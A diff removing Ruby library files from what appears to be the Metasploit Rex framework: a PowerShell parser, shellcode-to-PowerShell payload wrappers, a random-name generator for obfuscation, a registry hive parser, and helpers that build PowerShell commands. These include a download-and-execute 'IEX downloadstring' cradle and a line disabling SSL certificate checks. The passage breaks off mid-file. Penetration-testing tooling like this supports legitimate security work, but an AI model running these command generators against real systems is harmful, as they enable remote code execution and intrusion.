|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||
end
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str, source = code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
end
|
||||
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
fail ArgumentError, 'Unknown starting bracket'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
fail ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
fail ArgumentError, 'Invalid index'
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while (c != 0) && (x = delims.shift)
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -= 1 : c += 1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx + func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name, func_txt)
|
||||
end
|
||||
end # Parser
|
||||
end
|
||||
end
|
||||
|
|
@ -1,78 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/random_identifier_generator'
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Payload
|
||||
|
||||
def self.read_replace_script_template(template_path, filename, hash_sub)
|
||||
template_pathname = File.join(template_path, filename)
|
||||
template = ''
|
||||
File.open(template_pathname, "rb") {|f| template = f.read}
|
||||
template % hash_sub
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh_net(template_path, code)
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_kernel32)
|
||||
rig.init_var(:var_baseaddr)
|
||||
rig.init_var(:var_threadHandle)
|
||||
rig.init_var(:var_output)
|
||||
rig.init_var(:var_codeProvider)
|
||||
rig.init_var(:var_compileParams)
|
||||
rig.init_var(:var_syscode)
|
||||
rig.init_var(:var_temp)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh(template_path, code)
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
|
||||
|
||||
read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
|
||||
# Tweaked by shellster
|
||||
# Originally from PowerSploit
|
||||
#
|
||||
def self.to_win32pe_psh_reflection(template_path, code)
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:func_get_proc_address)
|
||||
rig.init_var(:func_get_delegate_type)
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_module)
|
||||
rig.init_var(:var_procedure)
|
||||
rig.init_var(:var_unsafe_native_methods)
|
||||
rig.init_var(:var_parameters)
|
||||
rig.init_var(:var_return_type)
|
||||
rig.init_var(:var_type_builder)
|
||||
rig.init_var(:var_buffer)
|
||||
rig.init_var(:var_hthread)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template(template_path,
|
||||
"to_mem_pshreflection.ps1.template",
|
||||
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,93 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
##
|
||||
# Convenience methods for generating powershell code in Ruby
|
||||
##
|
||||
|
||||
module PshMethods
|
||||
#
|
||||
# Download file via .NET WebClient
|
||||
#
|
||||
# @param src [String] URL to the file
|
||||
# @param target [String] Location to save the file
|
||||
#
|
||||
# @return [String] Powershell code to download a file
|
||||
def self.download(src, target)
|
||||
target ||= '$pwd\\' << src.split('/').last
|
||||
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
|
||||
end
|
||||
|
||||
#
|
||||
# Uninstall app, or anything named like app
|
||||
#
|
||||
# @param app [String] Name of application
|
||||
# @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
|
||||
# the application name
|
||||
#
|
||||
# @return [String] Powershell code to uninstall an application
|
||||
def self.uninstall(app, fuzzy = true)
|
||||
match = fuzzy ? '-like' : '-eq'
|
||||
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
||||
end
|
||||
|
||||
#
|
||||
# Create secure string from plaintext
|
||||
#
|
||||
# @param str [String] String to create as a SecureString
|
||||
#
|
||||
# @return [String] Powershell code to create a SecureString
|
||||
def self.secure_string(str)
|
||||
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
|
||||
end
|
||||
|
||||
#
|
||||
# Find PID of file lock owner
|
||||
#
|
||||
# @param filename [String] Filename
|
||||
#
|
||||
# @return [String] Powershell code to identify the PID of a file
|
||||
# lock owner
|
||||
def self.who_locked_file(filename)
|
||||
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||
end
|
||||
|
||||
#
|
||||
# Return last time of login
|
||||
#
|
||||
# @param user [String] Username
|
||||
#
|
||||
# @return [String] Powershell code to return the last time of a user
|
||||
# login
|
||||
def self.get_last_login(user)
|
||||
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||
end
|
||||
|
||||
#
|
||||
# Disable SSL Certificate verification
|
||||
#
|
||||
# @return [String] Powershell code to disable SSL verification
|
||||
# checks.
|
||||
def self.ignore_ssl_certificate
|
||||
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
|
||||
end
|
||||
|
||||
#
|
||||
# Use the default system web proxy and credentials to download a URL
|
||||
# as a string and execute the contents as PowerShell
|
||||
#
|
||||
# @param url [String] string to download
|
||||
#
|
||||
# @return [String] PowerShell code to download a URL
|
||||
def self.proxy_aware_download_and_exec_string(url)
|
||||
var = Rex::Text.rand_text_alpha(1)
|
||||
cmd = "$#{var}=new-object net.webclient;"
|
||||
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
|
||||
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
|
||||
cmd << "IEX $#{var}.downloadstring('#{url}');"
|
||||
cmd
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,97 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex'
|
||||
require 'forwardable'
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
class Script
|
||||
attr_accessor :code
|
||||
attr_reader :functions, :rig
|
||||
|
||||
include Output
|
||||
include Parser
|
||||
include Obfu
|
||||
# Pretend we are actually a string
|
||||
extend ::Forwardable
|
||||
# In case someone messes with String we delegate based on its instance methods
|
||||
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
||||
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
|
||||
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
|
||||
:enum_for, :display, :tr_s!, :freeze, :gsub!, :split, :rindex, :<<, :<=>, :+, :lstrip!,
|
||||
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
|
||||
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
|
||||
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
|
||||
:delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
|
||||
:hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
|
||||
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
|
||||
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
|
||||
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
|
||||
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
|
||||
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
|
||||
:end_with?
|
||||
|
||||
def initialize(code)
|
||||
@code = ''
|
||||
@rig = Rex::RandomIdentifierGenerator.new
|
||||
|
||||
begin
|
||||
# Open code file for reading
|
||||
fd = ::File.new(code || '', 'rb')
|
||||
while (line = fd.gets)
|
||||
@code << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat code as a... code
|
||||
@code = code.to_s.dup # in case we're eating another script
|
||||
end
|
||||
@functions = get_func_names.map { |f| get_func(f) }
|
||||
end
|
||||
|
||||
##
|
||||
# Class methods
|
||||
##
|
||||
|
||||
#
|
||||
# Convert binary to byte array, read from file if able
|
||||
#
|
||||
# @param input_data [String] Path to powershell file or powershell
|
||||
# code string
|
||||
# @param var_name [String] Byte array variable name
|
||||
#
|
||||
# @return [String] input_data as a powershell byte array
|
||||
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
|
||||
# File will raise an exception if the path contains null byte
|
||||
if input_data.include? "\x00"
|
||||
code = input_data
|
||||
else
|
||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||
end
|
||||
|
||||
code = code.unpack('C*')
|
||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length - 1) do |byte|
|
||||
if (byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
|
||||
psh << lines.join('') + "\r\n"
|
||||
end
|
||||
|
||||
#
|
||||
# Return list of code modifier methods
|
||||
#
|
||||
# @return [Array] Code modifiers
|
||||
def self.code_modifiers
|
||||
instance_methods.select { |m| m =~ /^(strip|sub)/ }
|
||||
end
|
||||
end # class Script
|
||||
end
|
||||
end
|
|
@ -1,179 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
# A quick way to produce unique random strings that follow the rules of
|
||||
# identifiers, i.e., begin with a letter and contain only alphanumeric
|
||||
# characters and underscore.
|
||||
#
|
||||
# The advantage of using this class over, say, {Rex::Text.rand_text_alpha}
|
||||
# each time you need a new identifier is that it ensures you don't have
|
||||
# collisions.
|
||||
#
|
||||
# @example
|
||||
# vars = Rex::RandomIdentifierGenerator.new
|
||||
# asp_code = <<-END_CODE
|
||||
# Sub #{vars[:func]}()
|
||||
# Dim #{vars[:fso]}
|
||||
# Set #{vars[:fso]} = CreateObject("Scripting.FileSystemObject")
|
||||
# ...
|
||||
# End Sub
|
||||
# #{vars[:func]}
|
||||
# END_CODE
|
||||
#
|
||||
class Rex::RandomIdentifierGenerator
|
||||
|
||||
# Raised when a RandomIdentifierGenerator cannot create any more
|
||||
# identifiers without collisions.
|
||||
class ExhaustedSpaceError < StandardError; end
|
||||
|
||||
# Default options
|
||||
DefaultOpts = {
|
||||
# Arbitrary
|
||||
:max_length => 12,
|
||||
:min_length => 3,
|
||||
# This should be pretty universal for identifier rules
|
||||
:char_set => Rex::Text::AlphaNumeric+"_",
|
||||
:first_char_set => Rex::Text::LowerAlpha
|
||||
}
|
||||
|
||||
# @param opts [Hash] Options, see {DefaultOpts} for default values
|
||||
# @option opts :max_length [Fixnum]
|
||||
# @option opts :min_length [Fixnum]
|
||||
# @option opts :char_set [String]
|
||||
def initialize(opts={})
|
||||
# Holds all identifiers.
|
||||
@value_by_name = {}
|
||||
# Inverse of value_by_name so we can ensure uniqueness without
|
||||
# having to search through the whole list of values
|
||||
@name_by_value = {}
|
||||
|
||||
@opts = DefaultOpts.merge(opts)
|
||||
if @opts[:min_length] < 1 || @opts[:max_length] < 1 || @opts[:max_length] < @opts[:min_length]
|
||||
raise ArgumentError, "Invalid length options"
|
||||
end
|
||||
|
||||
# This is really just the maximum number of shortest names. This
|
||||
# will still be a pretty big number most of the time, so don't
|
||||
# bother calculating the real one, which will potentially be
|
||||
# expensive, since we're talking about a 36-digit decimal number to
|
||||
# represent the total possibilities for the range of 10- to
|
||||
# 20-character identifiers.
|
||||
#
|
||||
# 26 because the first char is lowercase alpha, (min_length - 1) and
|
||||
# not just min_length because it includes that first alpha char.
|
||||
@max_permutations = 26 * (@opts[:char_set].length ** (@opts[:min_length]-1))
|
||||
# The real number of permutations could be calculated thusly:
|
||||
#((@opts[:min_length]-1) .. (@opts[:max_length]-1)).reduce(0) { |a, e|
|
||||
# a + (26 * @opts[:char_set].length ** e)
|
||||
#}
|
||||
end
|
||||
|
||||
# Returns the @value_by_name hash
|
||||
#
|
||||
# @return [Hash]
|
||||
def to_h
|
||||
return @value_by_name
|
||||
end
|
||||
|
||||
# Return a unique random identifier for +name+, generating a new one
|
||||
# if necessary.
|
||||
#
|
||||
# @param name [Symbol] A descriptive, intention-revealing name for an
|
||||
# identifier. This is what you would normally call the variable if
|
||||
# you weren't generating it.
|
||||
# @return [String]
|
||||
def get(name)
|
||||
return @value_by_name[name] if @value_by_name[name]
|
||||
|
||||
@value_by_name[name] = generate
|
||||
@name_by_value[@value_by_name[name]] = name
|
||||
|
||||
@value_by_name[name]
|
||||
end
|
||||
alias [] get
|
||||
alias init_var get
|
||||
|
||||
# Add a new identifier. Its name will be checked for uniqueness among
|
||||
# previously-generated names.
|
||||
#
|
||||
# @note This should be called *before* any calls to {#get} to avoid
|
||||
# potential collisions. If you do hit a collision, this method will
|
||||
# raise.
|
||||
#
|
||||
# @param name (see #get)
|
||||
# @param value [String] The identifier that will be returned by
|
||||
# subsequent calls to {#get} with the sane +name+.
|
||||
# @raise RuntimeError if +value+ already exists
|
||||
# @return [void]
|
||||
def store(name, value)
|
||||
|
||||
case @name_by_value[value]
|
||||
when name
|
||||
# we already have this value and it is associated with this name
|
||||
# nothing to do here
|
||||
when nil
|
||||
# don't have this value yet, so go ahead and just insert
|
||||
@value_by_name[name] = value
|
||||
@name_by_value[value] = name
|
||||
else
|
||||
# then the caller is trying to insert a duplicate
|
||||
raise RuntimeError, "Value is not unique!"
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Create a random string that satisfies most languages' requirements
|
||||
# for identifiers. In particular, with a default configuration, the
|
||||
# first character will always be lowercase alpha (unless modified by a
|
||||
# block), and the whole thing will contain only a-zA-Z0-9_ characters.
|
||||
#
|
||||
# If called with a block, the block will be given the identifier before
|
||||
# uniqueness checks. The block's return value will be the new
|
||||
# identifier. Note that the block may be called multiple times if it
|
||||
# returns a non-unique value.
|
||||
#
|
||||
# @note Calling this method with a block that returns only values that
|
||||
# this generator already contains will result in an infinite loop.
|
||||
#
|
||||
# @example
|
||||
# rig = Rex::RandomIdentifierGenerator.new
|
||||
# const = rig.generate { |val| val.capitalize }
|
||||
# rig.insert(:SOME_CONSTANT, const)
|
||||
# ruby_code = <<-EOC
|
||||
# #{rig[:SOME_CONSTANT]} = %q^generated ruby constant^
|
||||
# def #{rig[:my_method]}; ...; end
|
||||
# EOC
|
||||
#
|
||||
# @param len [Fixnum] Avoid setting this unless a specific size is
|
||||
# necessary. Default is random within range of min .. max
|
||||
# @return [String] A string that matches <tt>[a-z][a-zA-Z0-9_]*</tt>
|
||||
# @yield [String] The identifier before uniqueness checks. This allows
|
||||
# you to modify the value and still avoid collisions.
|
||||
def generate(len=nil)
|
||||
raise ArgumentError, "len must be positive integer" if len && len < 1
|
||||
raise ExhaustedSpaceError if @value_by_name.length >= @max_permutations
|
||||
|
||||
# pick a random length within the limits
|
||||
len ||= rand(@opts[:min_length] .. (@opts[:max_length]))
|
||||
|
||||
ident = ""
|
||||
|
||||
# XXX: Infinite loop if block returns only values we've already
|
||||
# generated.
|
||||
loop do
|
||||
ident = Rex::Text.rand_base(1, "", @opts[:first_char_set])
|
||||
ident << Rex::Text.rand_base(len-1, "", @opts[:char_set])
|
||||
if block_given?
|
||||
ident = yield ident
|
||||
end
|
||||
# Try to make another one if it collides with a previously
|
||||
# generated one.
|
||||
break unless @name_by_value.key?(ident)
|
||||
end
|
||||
|
||||
ident
|
||||
end
|
||||
|
||||
end
|
|
@ -1,132 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require_relative "regf"
|
||||
require_relative "nodekey"
|
||||
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class Hive
|
||||
attr_accessor :root_key, :hive_regf, :hive_name
|
||||
|
||||
def initialize(hivepath)
|
||||
|
||||
hive_blob = open(hivepath, "rb") { |io| io.read }
|
||||
|
||||
@hive_regf = RegfBlock.new(hive_blob)
|
||||
return nil if !@hive_regf.root_key_offset
|
||||
|
||||
@root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
|
||||
return nil if !@root_key.lf_record
|
||||
|
||||
keys = []
|
||||
root_key.lf_record.children.each do |key|
|
||||
keys << key.name
|
||||
end
|
||||
|
||||
if keys.include? "LastKnownGoodRecovery"
|
||||
@hive_name = "SYSTEM"
|
||||
elsif keys.include? "Microsoft"
|
||||
@hive_name = "SOFTWARE"
|
||||
elsif keys.include? "Environment"
|
||||
@hive_name = "NTUSER.DAT"
|
||||
elsif keys.include? "SAM"
|
||||
@hive_name = "SAM"
|
||||
elsif keys.include? "Policy"
|
||||
@hive_name = "SECURITY"
|
||||
else
|
||||
@hive_name = "UNKNOWN"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def relative_query(path)
|
||||
|
||||
if path == "" || path == "\\"
|
||||
return @root_key
|
||||
end
|
||||
|
||||
current_child = nil
|
||||
paths = path.split("\\")
|
||||
|
||||
return if !@root_key.lf_record
|
||||
|
||||
@root_key.lf_record.children.each do |child|
|
||||
next if child.name.downcase != paths[1].downcase
|
||||
|
||||
current_child = child
|
||||
|
||||
if paths.length == 2
|
||||
current_child.full_path = path
|
||||
return current_child
|
||||
end
|
||||
|
||||
2.upto(paths.length) do |i|
|
||||
|
||||
if i == paths.length
|
||||
current_child.full_path = path
|
||||
return current_child
|
||||
else
|
||||
if current_child.lf_record && current_child.lf_record.children
|
||||
current_child.lf_record.children.each do |c|
|
||||
next if c.name.downcase != paths[i].downcase
|
||||
|
||||
current_child = c
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return if !current_child
|
||||
|
||||
current_child.full_path = path
|
||||
return current_child
|
||||
end
|
||||
|
||||
def value_query(path)
|
||||
if path == "" || path == "\\"
|
||||
return nil
|
||||
end
|
||||
|
||||
paths = path.split("\\")
|
||||
|
||||
return if !@root_key.lf_record
|
||||
|
||||
@root_key.lf_record.children.each do |root_child|
|
||||
next if root_child.name.downcase != paths[1].downcase
|
||||
|
||||
current_child = root_child
|
||||
|
||||
if paths.length == 2
|
||||
return nil
|
||||
end
|
||||
|
||||
2.upto(paths.length - 1) do |i|
|
||||
next if !current_child.lf_record
|
||||
|
||||
current_child.lf_record.children.each do |c|
|
||||
next if c.name != paths[i]
|
||||
current_child = c
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if !current_child.value_list || current_child.value_list.values.length == 0
|
||||
return nil
|
||||
end
|
||||
|
||||
current_child.value_list.values.each do |value|
|
||||
next if value.name.downcase != paths[paths.length - 1].downcase
|
||||
|
||||
value.full_path = path
|
||||
return value
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,51 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require_relative "nodekey"
|
||||
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class LFBlock
|
||||
|
||||
attr_accessor :number_of_keys, :hash_records, :children
|
||||
|
||||
def initialize(hive_blob, offset)
|
||||
offset = offset + 4
|
||||
lf_header = hive_blob[offset, 2]
|
||||
|
||||
if lf_header !~ /lf/ && lf_header !~ /lh/
|
||||
return
|
||||
end
|
||||
|
||||
@number_of_keys = hive_blob[offset + 0x02, 2].unpack('C').first
|
||||
|
||||
@hash_records = []
|
||||
@children = []
|
||||
|
||||
hash_offset = offset + 0x04
|
||||
|
||||
1.upto(@number_of_keys) do |h|
|
||||
|
||||
hash = LFHashRecord.new(hive_blob, hash_offset)
|
||||
|
||||
@hash_records << hash
|
||||
|
||||
hash_offset = hash_offset + 0x08
|
||||
|
||||
@children << NodeKey.new(hive_blob, hash.nodekey_offset + 0x1000)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class LFHashRecord
|
||||
|
||||
attr_accessor :nodekey_offset, :nodekey_name_verification
|
||||
|
||||
def initialize(hive_blob, offset)
|
||||
@nodekey_offset = hive_blob[offset, 4].unpack('V').first
|
||||
@nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,54 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require_relative "lfkey"
|
||||
require_relative "valuelist"
|
||||
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class NodeKey
|
||||
|
||||
attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset
|
||||
attr_accessor :value_count, :value_list_offset, :security_key_offset
|
||||
attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path
|
||||
attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp
|
||||
|
||||
def initialize(hive, offset)
|
||||
|
||||
offset = offset + 0x04
|
||||
|
||||
nk_header = hive[offset, 2]
|
||||
nk_type = hive[offset+0x02, 2]
|
||||
|
||||
if nk_header !~ /nk/
|
||||
return
|
||||
end
|
||||
|
||||
@timestamp = hive[offset+0x04, 8].unpack('Q').first
|
||||
@parent_offset = hive[offset+0x10, 4].unpack('V').first
|
||||
@subkeys_count = hive[offset+0x14, 4].unpack('V').first
|
||||
@lf_record_offset = hive[offset+0x1c, 4].unpack('V').first
|
||||
@value_count = hive[offset+0x24, 4].unpack('V').first
|
||||
@value_list_offset = hive[offset+0x28, 4].unpack('V').first
|
||||
@security_key_offset = hive[offset+0x2c, 4].unpack('V').first
|
||||
@class_name_offset = hive[offset+0x30, 4].unpack('V').first
|
||||
@name_length = hive[offset+0x48, 2].unpack('C').first
|
||||
@class_name_length = hive[offset+0x4a, 2].unpack('C').first
|
||||
@name = hive[offset+0x4c, @name_length].to_s
|
||||
|
||||
windows_time = @timestamp
|
||||
unix_time = windows_time/10000000-11644473600
|
||||
ruby_time = Time.at(unix_time)
|
||||
|
||||
@readable_timestamp = ruby_time
|
||||
|
||||
@lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1
|
||||
@value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1
|
||||
|
||||
@class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length]
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,25 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class RegfBlock
|
||||
|
||||
attr_accessor :timestamp, :root_key_offset
|
||||
|
||||
def initialize(hive)
|
||||
|
||||
regf_header = hive[0x00, 4]
|
||||
|
||||
if regf_header !~ /regf/
|
||||
puts "Not a registry hive"
|
||||
return
|
||||
end
|
||||
|
||||
@timestamp = hive[0x0C, 8].unpack('q').first
|
||||
@root_key_offset = 0x20
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,67 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class ValueKey
|
||||
|
||||
attr_accessor :name_length, :length_of_data, :data_offset, :full_path
|
||||
attr_accessor :value_type, :readable_value_type, :name, :value
|
||||
|
||||
def initialize(hive, offset)
|
||||
offset = offset + 4
|
||||
|
||||
vk_header = hive[offset, 2]
|
||||
|
||||
if vk_header !~ /vk/
|
||||
puts "no vk at offset #{offset}"
|
||||
return
|
||||
end
|
||||
|
||||
@name_length = hive[offset+0x02, 2].unpack('C').first
|
||||
@length_of_data = hive[offset+0x04, 4].unpack('V').first
|
||||
@data_offset = hive[offset+ 0x08, 4].unpack('V').first
|
||||
@value_type = hive[offset+0x0C, 4].unpack('C').first
|
||||
|
||||
if @value_type == 1
|
||||
@readable_value_type = "Unicode character string"
|
||||
elsif @value_type == 2
|
||||
@readable_value_type = "Unicode string with %VAR% expanding"
|
||||
elsif @value_type == 3
|
||||
@readable_value_type = "Raw binary value"
|
||||
elsif @value_type == 4
|
||||
@readable_value_type = "Dword"
|
||||
elsif @value_type == 7
|
||||
@readable_value_type = "Multiple unicode strings separated with '\\x00'"
|
||||
end
|
||||
|
||||
flag = hive[offset+0x10, 2].unpack('C').first
|
||||
|
||||
if flag == 0
|
||||
@name = "Default"
|
||||
else
|
||||
@name = hive[offset+0x14, @name_length].to_s
|
||||
end
|
||||
|
||||
@value = ValueKeyData.new(hive, @data_offset, @length_of_data, @value_type, offset)
|
||||
end
|
||||
end
|
||||
|
||||
class ValueKeyData
|
||||
|
||||
attr_accessor :data
|
||||
|
||||
